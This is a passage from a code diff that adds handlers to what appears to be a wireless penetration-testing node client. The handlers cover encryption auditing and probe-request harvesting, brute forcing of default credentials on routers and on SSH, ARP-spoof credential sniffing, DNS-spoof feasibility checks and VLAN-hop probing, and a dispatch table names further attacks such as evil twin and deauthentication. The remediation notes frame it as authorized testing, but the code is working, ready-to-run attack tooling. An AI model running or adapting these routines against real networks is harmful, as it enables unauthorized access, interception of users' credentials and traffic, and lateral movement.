+ proc.wait(timeout=5)
2180
+ finally:
2181
+ _exit_monitor_mode(actual_iface, iface, buf)
2182
+
2183
+ total_clients = len(clients)
2184
+ total_ssids = len({s for ss in clients.values() for s in ss})
2185
+ serializable = {mac: sorted(ssids) for mac, ssids in clients.items()}
2186
+
2187
+ buf.write('\n' + '=' * 60 + '\n')
2188
+ buf.write(f'[+] {total_clients} client(s) probing {total_ssids} unique SSID(s)\n')
2189
+ if clients:
2190
+ buf.write('[!] Clients leak their network history via probe requests.\n')
2191
+ buf.write('[*] Remediation: Enable MAC randomization, disable auto-connect\n')
2192
+ buf.write(' to saved networks, remove stale saved SSIDs.\n')
2193
+ buf.write('=' * 60 + '\n')
2194
+ buf.flush()
2195
+
2196
+ client.send_result(jid, {
2197
+ 'clients': serializable,
2198
+ 'total_clients': total_clients,
2199
+ 'total_unique_ssids': total_ssids,
2200
+ })
2201
+
2202
+
2203
+ def execute_encryption_audit(client: AegisNodeClient, job: dict):
2204
+ """Audit encryption strength of all visible APs from scan data."""
2205
+ jid = job['job_id']
2206
+ params = job.get('parameters', {})
2207
+ iface = params.get('interface', 'wlan0')
2208
+ duration = params.get('duration', 30)
2209
+ buf = OutputBuffer(client, jid)
2210
+
2211
+ buf.write('=' * 60 + '\n')
2212
+ buf.write('[*] WIRELESS ENCRYPTION AUDIT\n')
2213
+ buf.write('=' * 60 + '\n\n')
2214
+
2215
+ mon_iface = _enter_monitor_mode(iface, buf)
2216
+ actual_iface = mon_iface or iface
2217
+
2218
+ try:
2219
+ csv_file = f'/tmp/aegis_audit_{jid}'
2220
+ buf.write('[*] Scanning all channels...\n')
2221
+ proc = subprocess.Popen(
2222
+ ['sudo', 'airodump-ng', actual_iface, '-w', csv_file, '--output-format', 'csv',
2223
+ '--write-interval', '5'],
2224
+ stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
2225
+ )
2226
+ time.sleep(duration)
2227
+ proc.terminate()
2228
+ proc.wait(timeout=10)
2229
+
2230
+ networks, _ = _parse_airodump_csv(f'{csv_file}-01.csv')
2231
+ finally:
2232
+ _exit_monitor_mode(actual_iface, iface, buf)
2233
+
2234
+ findings = []
2235
+ for net in networks:
2236
+ issues = []
2237
+ enc = (net.get('encryption', '') or '').upper()
2238
+
2239
+ if 'OPN' in enc or enc == '':
2240
+ issues.append(('CRITICAL', 'Open network — no encryption'))
2241
+ elif 'WEP' in enc:
2242
+ issues.append(('CRITICAL', 'WEP — trivially crackable in minutes'))
2243
+ elif 'WPA' in enc and 'WPA2' not in enc and 'WPA3' not in enc:
2244
+ issues.append(('HIGH', 'WPA1 only — TKIP is deprecated and crackable'))
2245
+ if 'TKIP' in enc:
2246
+ issues.append(('MEDIUM', 'TKIP cipher — deprecated, use CCMP/AES'))
2247
+ if 'PSK' in enc and 'SAE' not in enc:
2248
+ issues.append(('INFO', 'WPA2-PSK — no WPA3-SAE upgrade'))
2249
+
2250
+ vendor = _oui_lookup(net.get('bssid', ''))
2251
+ if vendor:
2252
+ net['vendor'] = vendor
2253
+ if issues:
2254
+ findings.append({'network': net, 'issues': issues})
2255
+ for sev, desc in issues:
2256
+ buf.write(f' [{sev}] {net.get("ssid", "?")} ({net.get("bssid", "?")}): {desc}\n')
2257
+
2258
+ critical = sum(1 for f in findings for s, _ in f['issues'] if s == 'CRITICAL')
2259
+ high = sum(1 for f in findings for s, _ in f['issues'] if s == 'HIGH')
2260
+
2261
+ buf.write('\n' + '=' * 60 + '\n')
2262
+ buf.write(f'[+] Audited {len(networks)} network(s): {critical} CRITICAL, {high} HIGH\n')
2263
+ buf.write('[*] Standards: PCI-DSS 4.0 §4.2, NIST SP 800-153, ISO 27001 A.13\n')
2264
+ buf.write('=' * 60 + '\n')
2265
+ buf.flush()
2266
+
2267
+ client.send_result(jid, {
2268
+ 'networks_audited': len(networks),
2269
+ 'findings': findings,
2270
+ 'critical_count': critical,
2271
+ 'high_count': high,
2272
+ })
2273
+
2274
+
2275
+ def execute_sister_scan(client: AegisNodeClient, job: dict):
2276
+ """Discover sister/related networks by correlating OUI, SSID patterns, and BSSID clusters."""
2277
+ jid = job['job_id']
2278
+ params = job.get('parameters', {})
2279
+ iface = params.get('interface', 'wlan0')
2280
+ duration = params.get('duration', 30)
2281
+ buf = OutputBuffer(client, jid)
2282
+
2283
+ buf.write('=' * 60 + '\n')
2284
+ buf.write('[*] SISTER NETWORK DISCOVERY\n')
2285
+ buf.write('=' * 60 + '\n\n')
2286
+
2287
+ mon_iface = _enter_monitor_mode(iface, buf)
2288
+ actual_iface = mon_iface or iface
2289
+
2290
+ try:
2291
+ csv_file = f'/tmp/aegis_sister_{jid}'
2292
+ proc = subprocess.Popen(
2293
+ ['sudo', 'airodump-ng', actual_iface, '-w', csv_file, '--output-format', 'csv',
2294
+ '--write-interval', '5'],
2295
+ stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
2296
+ )
2297
+ time.sleep(duration)
2298
+ proc.terminate()
2299
+ proc.wait(timeout=10)
2300
+ networks, _ = _parse_airodump_csv(f'{csv_file}-01.csv')
2301
+ finally:
2302
+ _exit_monitor_mode(actual_iface, iface, buf)
2303
+
2304
+ # Cluster by OUI prefix (same vendor = likely same deployment)
2305
+ oui_clusters = {}
2306
+ for net in networks:
2307
+ bssid = net.get('bssid', '')
2308
+ if len(bssid) >= 8:
2309
+ oui = bssid[:8].upper()
2310
+ vendor = _oui_lookup(bssid) or 'Unknown'
2311
+ key = f'{oui} ({vendor})'
2312
+ oui_clusters.setdefault(key, []).append(net)
2313
+
2314
+ # Cluster by SSID pattern (Corp-Guest, Corp-Staff, Corp-IoT)
2315
+ ssid_groups = {}
2316
+ for net in networks:
2317
+ ssid = net.get('ssid', '')
2318
+ if not ssid:
2319
+ continue
2320
+ base = re.sub(r'[-_](guest|staff|iot|admin|internal|secure|5g|2g|ext)\b', '',
2321
+ ssid, flags=re.I).strip()
2322
+ if base:
2323
+ ssid_groups.setdefault(base, []).append(net)
2324
+
2325
+ # Identify multi-SSID deployments (same OUI, multiple SSIDs)
2326
+ multi_ssid = {k: v for k, v in oui_clusters.items() if len(v) > 1}
2327
+ related_ssids = {k: v for k, v in ssid_groups.items() if len(v) > 1}
2328
+
2329
+ buf.write('[+] OUI Clusters (same hardware vendor):\n')
2330
+ for key, nets in sorted(multi_ssid.items(), key=lambda x: -len(x[1])):
2331
+ ssids = sorted({n.get('ssid', '?') for n in nets})
2332
+ buf.write(f' {key}: {len(nets)} AP(s) → {", ".join(ssids)}\n')
2333
+
2334
+ buf.write('\n[+] SSID Family Groups:\n')
2335
+ for base, nets in sorted(related_ssids.items(), key=lambda x: -len(x[1])):
2336
+ ssids = sorted({n.get('ssid', '?') for n in nets})
2337
+ buf.write(f' "{base}*": {", ".join(ssids)}\n')
2338
+
2339
+ buf.write('\n' + '=' * 60 + '\n')
2340
+ buf.write(f'[+] {len(networks)} networks in {len(oui_clusters)} vendor cluster(s), '
2341
+ f'{len(related_ssids)} SSID family group(s)\n')
2342
+ buf.write('[*] Sister networks on same hardware often share VLANs.\n')
2343
+ buf.write(' Compromising one may grant access to others.\n')
2344
+ buf.write('=' * 60 + '\n')
2345
+ buf.flush()
2346
+
2347
+ client.send_result(jid, {
2348
+ 'total_networks': len(networks),
2349
+ 'oui_clusters': {k: [n.get('ssid', '') for n in v] for k, v in oui_clusters.items()},
2350
+ 'ssid_families': {k: [n.get('ssid', '') for n in v] for k, v in ssid_groups.items()},
2351
+ 'multi_ssid_deployments': len(multi_ssid),
2352
+ })
2353
+
2354
+
2355
+ def execute_router_admin(client: AegisNodeClient, job: dict):
2356
+ """Attempt default credentials on the network gateway after join."""
2357
+ jid = job['job_id']
2358
+ params = job.get('parameters', {})
2359
+ buf = OutputBuffer(client, jid)
2360
+
2361
+ buf.write('=' * 60 + '\n')
2362
+ buf.write('[*] ROUTER ADMIN ACCESS TEST\n')
2363
+ buf.write('=' * 60 + '\n\n')
2364
+
2365
+ # Discover gateway
2366
+ buf.write('[*] Phase 1: Discovering gateway...\n')
2367
+ code, out = _run_quiet(['ip', 'route', 'show', 'default'], timeout=5)
2368
+ gw_match = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', out)
2369
+ if not gw_match:
2370
+ buf.write('[-] No default gateway found. Are you connected to a network?\n')
2371
+ buf.flush()
2372
+ client.send_result(jid, {'router_admin_access': False, 'error': 'No gateway'})
2373
+ return
2374
+
2375
+ gateway = gw_match.group(1)
2376
+ buf.write(f' Gateway: {gateway}\n')
2377
+
2378
+ # Check gateway MAC for vendor
2379
+ code, arp_out = _run_quiet(['arp', '-n', gateway], timeout=5)
2380
+ gw_mac = ''
2381
+ mac_match = re.search(r'([0-9a-f:]{17})', arp_out, re.I)
2382
+ if mac_match:
2383
+ gw_mac = mac_match.group(1)
2384
+ vendor = _oui_lookup(gw_mac)
2385
+ buf.write(f' MAC: {gw_mac} ({vendor or "Unknown"})\n')
2386
+
2387
+ # Phase 2: Port scan gateway
2388
+ buf.write('\n[*] Phase 2: Scanning gateway services...\n')
2389
+ open_ports = []
2390
+ for port in (80, 443, 8080, 8443, 22, 23):
2391
+ code, _ = _run_quiet(['timeout', '3', 'bash', '-c',
2392
+ f'echo >/dev/tcp/{gateway}/{port}'], timeout=5)
2393
+ if code == 0:
2394
+ open_ports.append(port)
2395
+ buf.write(f' [+] Port {port} OPEN\n')
2396
+
2397
+ # Phase 3: Try default credentials on HTTP(S)
2398
+ admin_access = False
2399
+ admin_creds = ''
2400
+ firmware = ''
2401
+ buf.write('\n[*] Phase 3: Testing default credentials...\n')
2402
+ for port in [p for p in open_ports if p in (80, 443, 8080, 8443)]:
2403
+ scheme = 'https' if port in (443, 8443) else 'http'
2404
+ url = f'{scheme}://{gateway}:{port}'
2405
+ for user, pwd in ROUTER_DEFAULTS:
2406
+ try:
2407
+ import urllib.request
2408
+ import urllib.error
2409
+ import base64
2410
+ cred_str = base64.b64encode(f'{user}:{pwd}'.encode()).decode()
2411
+ req = urllib.request.Request(url, headers={
2412
+ 'Authorization': f'Basic {cred_str}',
2413
+ 'User-Agent': 'Mozilla/5.0',
2414
+ })
2415
+ ctx = __import__('ssl').create_default_context()
2416
+ ctx.check_hostname = False
2417
+ ctx.verify_mode = __import__('ssl').CERT_NONE
2418
+ resp = urllib.request.urlopen(req, timeout=5, context=ctx)
2419
+ body = resp.read(4096).decode('utf-8', errors='replace')
2420
+ if resp.status == 200 and ('dashboard' in body.lower() or
2421
+ 'firmware' in body.lower() or 'router' in body.lower() or
2422
+ 'admin' in body.lower() or 'configuration' in body.lower()):
2423
+ admin_access = True
2424
+ admin_creds = f'{user}:{pwd}'
2425
+ fw_match = re.search(r'(?:firmware|version)[:\s]*([^\s<"]+)', body, re.I)
2426
+ if fw_match:
2427
+ firmware = fw_match.group(1)
2428
+ buf.write(f'\n[+] ✓ ADMIN ACCESS on {url}\n')
2429
+ buf.write(f' Credentials: {user}:{pwd}\n')
2430
+ if firmware:
2431
+ buf.write(f' Firmware: {firmware}\n')
2432
+ break
2433
+ except Exception:
2434
+ continue
2435
+ if admin_access:
2436
+ break
2437
+
2438
+ buf.write('\n' + '=' * 60 + '\n')
2439
+ if admin_access:
2440
+ buf.write('[+] ROUTER ADMIN ACCESS ACHIEVED\n')
2441
+ buf.write('[*] Impact: Full network control — DNS hijack, firmware\n')
2442
+ buf.write(' backdoor, traffic interception, credential theft.\n')
2443
+ buf.write('[*] Remediation: Change default credentials immediately,\n')
2444
+ buf.write(' restrict admin to management VLAN, enable MFA.\n')
2445
+ else:
2446
+ buf.write('[-] Default credentials did not work on gateway\n')
2447
+ buf.write('=' * 60 + '\n')
2448
+ buf.flush()
2449
+
2450
+ client.send_result(jid, {
2451
+ 'router_admin_access': admin_access,
2452
+ 'gateway_ip': gateway,
2453
+ 'gateway_mac': gw_mac,
2454
+ 'admin_creds': admin_creds,
2455
+ 'firmware': firmware,
2456
+ 'open_ports': open_ports,
2457
+ })
2458
+
2459
+
2460
+ def execute_default_creds(client: AegisNodeClient, job: dict):
2461
+ """Test default credentials on all discovered services after join."""
2462
+ jid = job['job_id']
2463
+ params = job.get('parameters', {})
2464
+ targets_data = job.get('targets', {})
2465
+ subnet = targets_data.get('subnet', '')
2466
+ buf = OutputBuffer(client, jid)
2467
+
2468
+ buf.write('=' * 60 + '\n')
2469
+ buf.write('[*] DEFAULT CREDENTIAL SCAN\n')
2470
+ buf.write('=' * 60 + '\n\n')
2471
+
2472
+ # Discover live hosts + services
2473
+ if not subnet:
2474
+ code, out = _run_quiet(['ip', '-4', '-o', 'addr', 'show'], timeout=5)
2475
+ cidr_match = re.search(r'inet (\d+\.\d+\.\d+\.\d+/\d+)', out)
2476
+ subnet = cidr_match.group(1) if cidr_match else '192.168.1.0/24'
2477
+ buf.write(f'[*] Scanning {subnet} for services...\n')
2478
+
2479
+ ports_csv = ','.join(str(p) for p in sorted(HIGH_VALUE_PORTS.keys()))
2480
+ code, out = _exec_cmd(buf, ['nmap', '-sS', '-sV', '--open', '-p', ports_csv,
2481
+ '-T4', '--min-rate', '200', subnet],
2482
+ timeout=300, sudo=True)
2483
+
2484
+ # Parse nmap output for open services
2485
+ found_devices = []
2486
+ current_host = ''
2487
+ for line in out.splitlines():
2488
+ host_match = re.match(r'Nmap scan report for (\S+)', line)
2489
+ if host_match:
2490
+ current_host = host_match.group(1)
2491
+ port_match = re.match(r'(\d+)/tcp\s+open\s+(\S+)', line)
2492
+ if port_match and current_host:
2493
+ port_num = int(port_match.group(1))
2494
+ svc = port_match.group(2)
2495
+ found_devices.append({
2496
+ 'ip': current_host, 'port': port_num,
2497
+ 'service': HIGH_VALUE_PORTS.get(port_num, svc),
2498
+ })
2499
+
2500
+ buf.write(f'\n[*] Found {len(found_devices)} service(s) on {len(set(d["ip"] for d in found_devices))} host(s)\n')
2501
+
2502
+ # Try defaults on each
2503
+ results = []
2504
+ for dev in found_devices[:50]:
2505
+ ip, port, svc_name = dev['ip'], dev['port'], dev['service'].lower()
2506
+ cred_list = SERVICE_DEFAULTS.get(svc_name, SERVICE_DEFAULTS.get('http', []))
2507
+ for user, pwd in cred_list[:5]:
2508
+ success = False
2509
+ try:
2510
+ if port in (80, 443, 8080, 8443):
2511
+ scheme = 'https' if port in (443, 8443) else 'http'
2512
+ import urllib.request, urllib.error, base64
2513
+ cred_str = base64.b64encode(f'{user}:{pwd}'.encode()).decode()
2514
+ req = urllib.request.Request(f'{scheme}://{ip}:{port}',
2515
+ headers={'Authorization': f'Basic {cred_str}',
2516
+ 'User-Agent': 'Mozilla/5.0'})
2517
+ ctx = __import__('ssl').create_default_context()
2518
+ ctx.check_hostname = False
2519
+ ctx.verify_mode = __import__('ssl').CERT_NONE
2520
+ resp = urllib.request.urlopen(req, timeout=5, context=ctx)
2521
+ if resp.status == 200:
2522
+ success = True
2523
+ elif port == 22:
2524
+ code, _ = _run_quiet(
2525
+ ['sshpass', '-p', pwd, 'ssh', '-o', 'StrictHostKeyChecking=no',
2526
+ '-o', 'ConnectTimeout=5', f'{user}@{ip}', 'echo ok'], timeout=10)
2527
+ success = code == 0
2528
+ except Exception:
2529
+ pass
2530
+ if success:
2531
+ vendor = _oui_lookup(ip) or ''
2532
+ results.append({'ip': ip, 'port': port, 'service': svc_name,
2533
+ 'username': user, 'password': pwd, 'vendor': vendor})
2534
+ buf.write(f' [+] {ip}:{port} ({svc_name}) — {user}:{pwd}\n')
2535
+ break
2536
+
2537
+ buf.write('\n' + '=' * 60 + '\n')
2538
+ buf.write(f'[+] {len(results)} device(s) with default credentials\n')
2539
+ if results:
2540
+ buf.write('[*] Remediation: Change ALL default credentials,\n')
2541
+ buf.write(' implement credential management, enforce complexity.\n')
2542
+ buf.write('=' * 60 + '\n')
2543
+ buf.flush()
2544
+
2545
+ client.send_result(jid, {
2546
+ 'default_creds_found': len(results),
2547
+ 'devices': results,
2548
+ 'total_services_tested': len(found_devices),
2549
+ })
2550
+
2551
+
2552
+ def execute_mitm_test(client: AegisNodeClient, job: dict):
2553
+ """ARP spoof + credential sniffing on joined network."""
2554
+ jid = job['job_id']
2555
+ params = job.get('parameters', {})
2556
+ iface = params.get('interface', 'wlan0')
2557
+ duration = min(params.get('duration', 120), 300)
2558
+ buf = OutputBuffer(client, jid)
2559
+
2560
+ buf.write('=' * 60 + '\n')
2561
+ buf.write('[*] MITM CREDENTIAL SNIFF TEST\n')
2562
+ buf.write(f' Duration: {duration}s\n')
2563
+ buf.write('[!] SCOPE-GATED: wireless_mitm_allowed=True required\n')
2564
+ buf.write('=' * 60 + '\n\n')
2565
+
2566
+ # Discover gateway
2567
+ code, out = _run_quiet(['ip', 'route', 'show', 'default'], timeout=5)
2568
+ gw_match = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', out)
2569
+ if not gw_match:
2570
+ buf.flush()
2571
+ client.send_result(jid, {'mitm_credentials': 0, 'error': 'No gateway'})
2572
+ return
2573
+ gateway = gw_match.group(1)
2574
+ buf.write(f'[*] Gateway: {gateway}\n')
2575
+
2576
+ # Enable IP forwarding
2577
+ _run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=1'], timeout=3, sudo=True)
2578
+ cred_file = f'/tmp/aegis_mitm_{jid}.txt'
2579
+ credentials = []
2580
+ protocols = set()
2581
+
2582
+ try:
2583
+ # Start ARP spoof (both directions)
2584
+ buf.write('[*] Starting ARP spoof...\n')
2585
+ spoof_proc = subprocess.Popen(
2586
+ ['sudo', 'arpspoof', '-i', iface, '-t', gateway, '-r'],
2587
+ stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
2588
+ )
2589
+ # Start credential sniffer
2590
+ buf.write('[*] Sniffing for cleartext credentials...\n')
2591
+ has_pcredz, _ = _run_quiet(['which', 'PCredz'])
2592
+ has_netcreds, _ = _run_quiet(['which', 'net-creds'])
2593
+
2594
+ if has_netcreds == 0:
2595
+ sniff_proc = subprocess.Popen(
2596
+ ['sudo', 'net-creds', '-i', iface],
2597
+ stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,
2598
+ )
2599
+ else:
2600
+ sniff_proc = subprocess.Popen(
2601
+ ['sudo', 'tcpdump', '-i', iface, '-l', '-A',
2602
+ 'port', '21', 'or', 'port', '23', 'or', 'port', '25',
2603
+ 'or', 'port', '80', 'or', 'port', '110', 'or', 'port', '143',
2604
+ 'or', 'port', '8080'],
2605
+ stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True,
2606
+ )
2607
+
2608
+ start = time.time()
2609
+ while time.time() - start < duration:
2610
+ try:
2611
+ line = sniff_proc.stdout.readline()
2612
+ except Exception:
2613
+ break
2614
+ if line:
2615
+ line = line.strip()
2616
+ if any(kw in line.lower() for kw in ('user', 'pass', 'auth', 'login', 'cookie')):
2617
+ credentials.append(line[:200])
2618
+ proto_match = re.match(r'\[(\w+)\]', line)
2619
+ if proto_match:
2620
+ protocols.add(proto_match.group(1))
2621
+ buf.write(f' [+] {line[:100]}\n')
2622
+ finally:
2623
+ for p in ('spoof_proc', 'sniff_proc'):
2624
+ proc_obj = locals().get(p)
2625
+ if proc_obj and proc_obj.poll() is None:
2626
+ _run_quiet(['sudo', 'kill', str(proc_obj.pid)], timeout=5)
2627
+ _run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=0'], timeout=3, sudo=True)
2628
+
2629
+ buf.write('\n' + '=' * 60 + '\n')
2630
+ buf.write(f'[+] Captured {len(credentials)} credential indicator(s)\n')
2631
+ buf.write(f' Protocols: {", ".join(sorted(protocols)) or "none detected"}\n')
2632
+ if credentials:
2633
+ buf.write('[*] Impact: Cleartext credentials interceptable by any\n')
2634
+ buf.write(' device on the network.\n')
2635
+ buf.write('[*] Remediation: Enforce TLS/HSTS on all services,\n')
2636
+ buf.write(' deploy 802.1X port-based auth, enable DHCP snooping\n')
2637
+ buf.write(' and Dynamic ARP Inspection (DAI).\n')
2638
+ buf.write('=' * 60 + '\n')
2639
+ buf.flush()
2640
+
2641
+ client.send_result(jid, {
2642
+ 'mitm_credentials': len(credentials),
2643
+ 'protocols_captured': sorted(protocols),
2644
+ 'gateway': gateway,
2645
+ 'duration': duration,
2646
+ })
2647
+
2648
+
2649
+ def execute_dns_spoof_test(client: AegisNodeClient, job: dict):
2650
+ """DNS spoof proof-of-concept — self-targeted to prove capability."""
2651
+ jid = job['job_id']
2652
+ params = job.get('parameters', {})
2653
+ iface = params.get('interface', 'wlan0')
2654
+ buf = OutputBuffer(client, jid)
2655
+
2656
+ buf.write('=' * 60 + '\n')
2657
+ buf.write('[*] DNS SPOOF PROOF-OF-CONCEPT\n')
2658
+ buf.write('[!] Self-targeted — does NOT redirect real users\n')
2659
+ buf.write('=' * 60 + '\n\n')
2660
+
2661
+ # Discover gateway/DNS
2662
+ code, out = _run_quiet(['ip', 'route', 'show', 'default'], timeout=5)
2663
+ gw_match = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', out)
2664
+ gateway = gw_match.group(1) if gw_match else ''
2665
+
2666
+ # Get our IP
2667
+ code, out = _run_quiet(['hostname', '-I'], timeout=5)
2668
+ our_ip = out.strip().split()[0] if out.strip() else '127.0.0.1'
2669
+
2670
+ # Test: can we resolve normally?
2671
+ buf.write('[*] Phase 1: Normal DNS resolution test\n')
2672
+ code, out = _run_quiet(['dig', '+short', 'example.com'], timeout=10)
2673
+ normal_ip = out.strip().split('\n')[0] if out.strip() else ''
2674
+ buf.write(f' example.com → {normal_ip}\n')
2675
+
2676
+ # Test: ARP spoof + DNS redirect proof
2677
+ dns_spoofable = False
2678
+ buf.write('\n[*] Phase 2: Testing DNS interception capability...\n')
2679
+
2680
+ # Check if we can ARP-spoof the gateway
2681
+ if gateway:
2682
+ _run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=1'], timeout=3, sudo=True)
2683
+ try:
2684
+ # Brief ARP spoof to prove position
2685
+ proc = subprocess.Popen(
2686
+ ['sudo', 'arpspoof', '-i', iface, '-t', gateway, '-r'],
2687
+ stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
2688
+ )
2689
+ time.sleep(5)
2690
+ # Verify we're in the path
2691
+ code, out = _run_quiet(['arp', '-n'], timeout=5)
2692
+ if gateway in out:
2693
+ dns_spoofable = True
2694
+ buf.write(' [+] ARP poisoning successful — DNS interception possible\n')
2695
+ proc.terminate()
2696
+ proc.wait(timeout=5)
2697
+ finally:
2698
+ _run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=0'], timeout=3, sudo=True)
2699
+
2700
+ buf.write('\n' + '=' * 60 + '\n')
2701
+ if dns_spoofable:
2702
+ buf.write('[+] DNS SPOOFING IS FEASIBLE on this network\n')
2703
+ buf.write('[*] Impact: Any user on this network can be redirected\n')
2704
+ buf.write(' to a phishing page. Full domain hijack capability.\n')
2705
+ buf.write('[*] Remediation: Deploy DNSSEC, enable DHCP snooping\n')
2706
+ buf.write(' + Dynamic ARP Inspection, use DNS-over-HTTPS.\n')
2707
+ else:
2708
+ buf.write('[-] DNS spoofing not demonstrated\n')
2709
+ buf.write('=' * 60 + '\n')
2710
+ buf.flush()
2711
+
2712
+ client.send_result(jid, {
2713
+ 'dns_spoofable': dns_spoofable,
2714
+ 'gateway': gateway,
2715
+ 'our_ip': our_ip,
2716
+ })
2717
+
2718
+
2719
+ def execute_vlan_hop(client: AegisNodeClient, job: dict):
2720
+ """VLAN hopping / network segmentation test after join."""
2721
+ jid = job['job_id']
2722
+ params = job.get('parameters', {})
2723
+ iface = params.get('interface', 'wlan0')
2724
+ buf = OutputBuffer(client, jid)
2725
+
2726
+ buf.write('=' * 60 + '\n')
2727
+ buf.write('[*] VLAN HOPPING / SEGMENTATION TEST\n')
2728
+ buf.write('=' * 60 + '\n\n')
2729
+
2730
+ # Discover our current subnet
2731
+ code, out = _run_quiet(['ip', '-4', '-o', 'addr', 'show', iface], timeout=5)
2732
+ our_match = re.search(r'inet (\d+\.\d+\.\d+)\.(\d+)/(\d+)', out)
2733
+ if not our_match:
2734
+ buf.flush()
2735
+ client.send_result(jid, {'vlan_hop_success': False, 'error': 'No IP on interface'})
2736
+ return
2737
+
2738
+ our_subnet = our_match.group(1)
2739
+ our_host = int(our_match.group(2))
2740
+ our_mask = int(our_match.group(3))
2741
+
2742
+ # Generate adjacent subnet ranges to probe
2743
+ adjacent_subnets = []
2744
+ base_parts = [int(x) for x in our_subnet.split('.')]
2745
+ for offset in [-1, 1, 2, -2, 10, -10]:
2746
+ adj = base_parts.copy()
2747
+ adj[2] = (adj[2] + offset) % 256
2748
+ adjacent_subnets.append(f'{adj[0]}.{adj[1]}.{adj[2]}.0/24')
2749
+
2750
+ reachable_vlans = []
2751
+ tested = 0
2752
+
2753
+ buf.write(f'[*] Current subnet: {our_subnet}.0/{our_mask}\n')
2754
+ buf.write(f'[*] Testing {len(adjacent_subnets)} adjacent subnets...\n\n')
2755
+
2756
+ for subnet in adjacent_subnets:
2757
+ tested += 1
2758
+ # Quick ping sweep of gateway (.1) and a few hosts
2759
+ for host in (1, 2, 100, 254):
2760
+ target = subnet.replace('.0/24', f'.{host}')
2761
+ code, _ = _run_quiet(['ping', '-c', '1', '-W', '1', target], timeout=3)
2762
+ if code == 0:
2763
+ reachable_vlans.append({'subnet': subnet, 'host': target})
2764
+ buf.write(f' [+] REACHABLE: {target} (from {subnet})\n')
2765
+ # Quick port check on reachable host
2766
+ for port in (80, 443, 22, 3389, 445):
2767
+ pcode, _ = _run_quiet(
2768
+ ['timeout', '2', 'bash', '-c', f'echo >/dev/tcp/{target}/{port}'],
2769
+ timeout=4)
2770
+ if pcode == 0:
2771
+ svc = HIGH_VALUE_PORTS.get(port, str(port))
2772
+ buf.write(f' Port {port} ({svc}) OPEN\n')
2773
+ break
2774
+
2775
+ buf.write('\n' + '=' * 60 + '\n')
2776
+ if reachable_vlans:
2777
+ buf.write(f'[+] SEGMENTATION FAILURE: {len(reachable_vlans)} adjacent subnet(s) reachable\n')
2778
+ buf.write('[*] Impact: Compromise of this WiFi segment grants access\n')
2779
+ buf.write(' to other network zones — lateral movement confirmed.\n')
2780
+ buf.write('[*] Remediation: Enforce inter-VLAN ACLs, deploy Private\n')
2781
+ buf.write(' VLANs, enable client isolation on wireless APs.\n')
2782
+ else:
2783
+ buf.write('[-] No adjacent subnets reachable — segmentation appears intact\n')
2784
+ buf.write('=' * 60 + '\n')
2785
+ buf.flush()
2786
+
2787
+ client.send_result(jid, {
2788
+ 'vlan_hop_success': len(reachable_vlans) > 0,
2789
+ 'reachable_vlans': reachable_vlans,
2790
+ 'subnets_tested': tested,
2791
+ 'reached_vlan': reachable_vlans[0]['subnet'] if reachable_vlans else '',
2792
+ })
2793
+
2794
+
2795
+ # ── Job dispatch ─────────────────────────────────────────────────────────
2796
+
2797
+ JOB_HANDLERS = {
2798
+ # P1: managed-mode
2799
+ 'scan': execute_scan,
2800
+ 'internal_scan': execute_internal_scan,
2801
+ 'service_enum': execute_service_enum,
2802
+ 'rogue_detect': execute_rogue_detect,
2803
+ 'capture': execute_capture,
2804
+ 'captive_test': execute_captive_test,
2805
+ 'network_join': execute_network_join,
2806
+ # P2: monitor-mode
2807
+ 'hidden_scan': execute_hidden_scan,
2808
+ 'handshake_cap': execute_handshake_capture,
2809
+ 'pmkid_harvest': execute_pmkid_harvest,
2810
+ 'deauth_capture': execute_deauth_capture,
2811
+ # P3: crack
2812
+ 'crack': execute_crack,
2813
+ # P5: WPA Enterprise + Evil Twin
2814
+ 'eap_test': execute_eap_test,
2815
+ 'evil_twin': execute_evil_twin,
2816
+ # P6: Full Pentest Toolkit
2817
+ 'wps_attack': execute_wps_attack,
2818
+ 'probe_harvest': execute_probe_harvest,
2819
+ 'encrypt_audit': execute_encryption_audit,
2820
+ 'sister_scan': execute_sister_scan,
2821
+ 'router_admin': execute_router_admin,
2822
+ 'default_creds': execute_default_creds,
2823
+ 'mitm_test': execute_mitm_test,
2824
+ 'dns_spoof_test': execute_dns_spoof_test,
2825
+ 'vlan_hop': execute_vlan_hop,
2826
+ }
2827
+
2828
+
2829
+ def run_job(client: AegisNodeClient, job: dict):
2830
+ """Dispatch a job to the appropriate handler."""
2831
+ kind = job.get('kind', '')
2832
+ handler = JOB_HANDLERS.get(kind)
2833
+ if not handler:
2834
+ client.send_error(job['job_id'], f'Unknown job kind: {kind}')
2835
+ return
2836
+ try:
2837
+ handler(client, job)
2838
+ except Exception as e:
2839
+ log.exception('Job %s failed', job.get('job_id'))
2840
+ try:
2841
+ client.send_error(job['job_id'], str(e)[:500])
2842
+ except Exception:
2843
+ pass
2844
+
2845
+
2846
+ # ── Main loop ────────────────────────────────────────────────────────────
2847
+
2848
+ def _device_auth_flow(server: str, no_browser: bool = False, portal_url: str = None) -> tuple:
2849
+ """Browser-based device authorization — opens portal in browser for approval.
2850
+
2851
+ Returns (session_id, token) on success, exits on failure.
2852
+ """
2853
+ import platform
2854
+ import webbrowser
2855
+
2856
+ server = server.rstrip('/')
2857
+ base_url = f'{server}/api/autobot/wifi-node'
2858
+
2859
+ # Collect device info for the approval screen
2860
+ hostname = platform.node()
2861
+ os_info = f'{platform.system()} {platform.release()}'
2862
+ try:
2863
+ from .adapters import detect_adapters
2864
+ adapters = detect_adapters()
2865
+ adapter_name = adapters[0]['chipset'] if adapters else ''
2866
+ except Exception:
2867
+ adapter_name = ''
2868
+
2869
+ # Step 1: Request device code
2870
+ log.info('Requesting authorization...')
2871
+ try:
2872
+ r = requests.post(f'{base_url}/device-auth/start', json={
2873
+ 'hostname': hostname,
2874
+ 'os': os_info,
2875
+ 'adapter': adapter_name,
2876
+ }, timeout=15)
2877
+ r.raise_for_status()
2878
+ data = r.json()
2879
+ except Exception as e:
2880
+ log.error('Failed to start device authorization: %s', e)
2881
